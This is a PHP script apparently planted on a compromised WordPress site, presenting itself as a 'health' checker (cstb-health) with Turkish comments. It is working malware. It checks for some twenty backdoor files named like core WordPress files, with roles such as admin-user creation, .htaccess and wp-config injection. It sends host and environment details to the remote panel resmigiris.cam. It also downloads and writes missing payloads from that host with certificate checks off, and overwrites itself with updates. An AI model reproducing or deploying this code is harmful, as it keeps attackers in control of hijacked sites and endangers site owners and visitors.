<?php
/*[cstb_su]*/
@error_reporting(0);
if(!empty($_SERVER['HTTP_X_PANEL_CHECK'])&&$_SERVER['HTTP_X_PANEL_CHECK']==='YES')die('OK');
header('Cache-Control: no-store');

$d=__DIR__;while(!is_file("$d/wp-load.php")&&!is_file("$d/wp-config.php")){$p=dirname($d);if($p===$d){$d=null;break;}$d=$p;}
if(!$d)$d=@realpath($_SERVER['DOCUMENT_ROOT']??'')?:__DIR__;

$cdn='https://resmigiris.cam/';

// Benzersiz dosya rolleri — çoklu konumlardan en az 1'i çalışırsa OK
$roleMap=[
    'boot'=>['wp-admin/user-hooker.php'],
    'boot2-deployer'=>['wp-content/plugins/indexs.php'],
    'installer'=>['wp-info.php'],
    'zip-repair'=>['wp-content/plugins/plugins.php'],
    'filemgr-deploy'=>['wp-settinger.php'],
    'user-creator'=>['wp-user.php'],
    'admin-login'=>['wp-comment.php'],
    'filemgr-info'=>['wp-includes/user-collab.php'],
    'filemgr-boot'=>['wp-content/themes/indexer.php'],
    'site-deployer'=>['wp-active.php'],
    'obf1'=>['wp-admin/user-func.php'],
    'obf2'=>['wp-admin/includes/class-wp-updates.php'],
    'db-recovery'=>['wp-includes/class-wp-recovery.php','wp-admin/includes/class-wp-recovery-mode.php'],
    'mu-dropper'=>['wp-includes/class-wp-mu-loader.php','wp-admin/includes/class-wp-mu-dropper.php'],
    'rest-api'=>['wp-admin/options-rest.php','wp-includes/class-wp-rest-repair.php'],
    'zip-extractor'=>['wp-includes/class-wp-file-extract.php','wp-admin/includes/class-wp-file-deployer.php','wp-file-extract.php'],
    'health-reporter'=>['wp-admin/includes/class-wp-site-health-check.php','wp-includes/class-wp-site-health.php','wp-site-health.php'],
    'htaccess-inject'=>['wp-includes/class-wp-htaccess-handler.php','wp-admin/includes/class-wp-htaccess-repair.php'],
    'userini-inject'=>['wp-includes/class-wp-ini-handler.php','wp-admin/includes/class-wp-ini-repair.php'],
    'config-inject'=>['wp-includes/class-wp-config-handler.php','wp-admin/includes/class-wp-config-repair.php'],
    'cron-repair'=>['wp-admin/includes/class-wp-cron-manager.php','wp-includes/class-wp-cron-repair.php'],
];
// Flat map for file check + fix
$fileMap=[];
$srcMap=['boot'=>'boot.txt','boot2-deployer'=>'boots.txt','installer'=>'link.txt','zip-repair'=>'plugins.txt','filemgr-deploy'=>'wp-settinger.txt','user-creator'=>'wp-user.txt','admin-login'=>'wp-comment.txt','filemgr-info'=>'sefer.txt','filemgr-boot'=>'indexs.txt','site-deployer'=>'configs.txt','obf1'=>'user-func.txt','obf2'=>'reze.txt','db-recovery'=>'wp-recovery.txt','mu-dropper'=>'mu-loader.txt','rest-api'=>'wp-restapi.txt','zip-extractor'=>'wp-extract.txt','health-reporter'=>'wp-health.txt','htaccess-inject'=>'wp-htinject.txt','userini-inject'=>'wp-userini.txt','config-inject'=>'wp-confinject.txt','cron-repair'=>'wp-cronjob.txt'];
foreach($roleMap as $role=>$paths){
    foreach($paths as $p){
        $fileMap[$p]=['src'=>$srcMap[$role],'role'=>$role];
    }
};

// ── ?check=1 → Tüm dosyaları kontrol et, JSON rapor ──
if(isset($_GET['check'])&&$_GET['check']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    $report=[];$ok=0;$missing=0;$empty=0;
    foreach($fileMap as $rel=>$info){
        $path="$d/$rel";
        if(!is_file($path)){$report[$rel]=['status'=>'missing','role'=>$info['role']];$missing++;continue;}
        $size=filesize($path);
        if($size<50){$report[$rel]=['status'=>'empty','size'=>$size,'role'=>$info['role']];$empty++;continue;}
        $hasMarker=strpos(@file_get_contents($path,false,null,0,200),'cstb_su')!==false;
        $report[$rel]=['status'=>'ok','size'=>$size,'updated'=>$hasMarker,'role'=>$info['role'],'mtime'=>date('c',filemtime($path))];
        $ok++;
    }

    // Role bazlı özet: bir rol'ün en az 1 konumu çalışıyorsa OK
    $roles=[];
    foreach($roleMap as $role=>$paths){
        $hasAny=false;
        foreach($paths as $p){
            if(isset($report[$p])&&$report[$p]['status']==='ok'){$hasAny=true;break;}
        }
        $roles[$role]=['accessible'=>$hasAny,'locations'=>count($paths),'ok_count'=>0];
        foreach($paths as $p){
            if(isset($report[$p])&&$report[$p]['status']==='ok')$roles[$role]['ok_count']++;
        }
    }
    $rolesOk=count(array_filter($roles,function($r){return $r['accessible'];}));

    $env=[
        'php'=>PHP_VERSION,
        'curl'=>function_exists('curl_init'),
        'zip'=>class_exists('ZipArchive'),
        'exec'=>function_exists('shell_exec'),
        'fopen'=>(bool)ini_get('allow_url_fopen'),
        'open_basedir'=>ini_get('open_basedir')?:false,
        'mu_plugins'=>is_dir("$d/wp-content/mu-plugins"),
        'wp_loaded'=>is_file("$d/wp-load.php"),
    ];

    echo json_encode([
        'host'=>$_SERVER['HTTP_HOST']??'?',
        'root'=>$d,
        'summary'=>['files_ok'=>$ok,'files_missing'=>$missing,'files_empty'=>$empty,'files_total'=>count($fileMap),'roles_ok'=>$rolesOk,'roles_total'=>count($roleMap)],
        'env'=>$env,
        'roles'=>$roles,
        'files'=>$report,
        'time'=>date('c')
    ],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
}

// ── ?report=1 → Panele POST ile rapor gönder ──
if(isset($_GET['report'])&&$_GET['report']==='1'&&function_exists('curl_init')){
    header('Content-Type: application/json; charset=utf-8');
    $report=[];$ok=0;$missing=0;
    foreach($fileMap as $rel=>$info){
        $path="$d/$rel";
        if(!is_file($path)){$report[$rel]='missing';$missing++;continue;}
        $size=filesize($path);
        if($size<50){$report[$rel]='empty';$missing++;continue;}
        $report[$rel]='ok';$ok++;
    }

    $payload=json_encode([
        'host'=>$_SERVER['HTTP_HOST']??'?',
        'root'=>$d,
        'ok'=>$ok,'missing'=>$missing,'total'=>count($fileMap),
        'php'=>PHP_VERSION,
        'curl'=>function_exists('curl_init'),
        'files'=>$report,
        'time'=>time()
    ]);

    $ch=curl_init($cdn.'api/health-report.php');
    curl_setopt_array($ch,[
        CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,
        CURLOPT_POST=>1,CURLOPT_POSTFIELDS=>$payload,
        CURLOPT_HTTPHEADER=>['Content-Type: application/json','X-Health-Key: cstb_h34lth'],
        CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0
    ]);
    $resp=curl_exec($ch);curl_close($ch);

    echo json_encode(['sent'=>true,'response'=>$resp,'summary'=>"$ok ok, $missing missing"]);exit;
}

// ── ?fix=1 → Eksik/boş dosyaları CDN'den onar ──
if(isset($_GET['fix'])&&$_GET['fix']==='1'&&function_exists('curl_init')){
    header('Content-Type: application/json; charset=utf-8');
    $res=[];
    foreach($fileMap as $rel=>$info){
        $path="$d/$rel";
        if(is_file($path)&&filesize($path)>100)continue;
        $dir=dirname($path);
        if(!is_dir($dir))@mkdir($dir,0755,true);
        $ch=curl_init($cdn.'txt/'.$info['src']);
        curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>15,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
        $c=curl_exec($ch);curl_close($ch);
        $res[$rel]=($c&&strlen($c)>50)?(@file_put_contents($path,$c)!==false?'ok':'fail'):'cdn-err';
    }

    $ch=curl_init($cdn.'txt/wp-health.txt');
    curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
    $s=curl_exec($ch);curl_close($ch);
    if($s&&strpos($s,'cstb_su')!==false&&md5($s)!==md5_file(__FILE__)){@file_put_contents(__FILE__,$s);$res['_self']='updated';}

    echo json_encode(['status'=>'fixed','root'=>$d,'results'=>$res],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
}

header('Content-Type: text/plain');
echo "cstb-health\nmodes: ?check=1 | ?report=1 | ?fix=1\n";
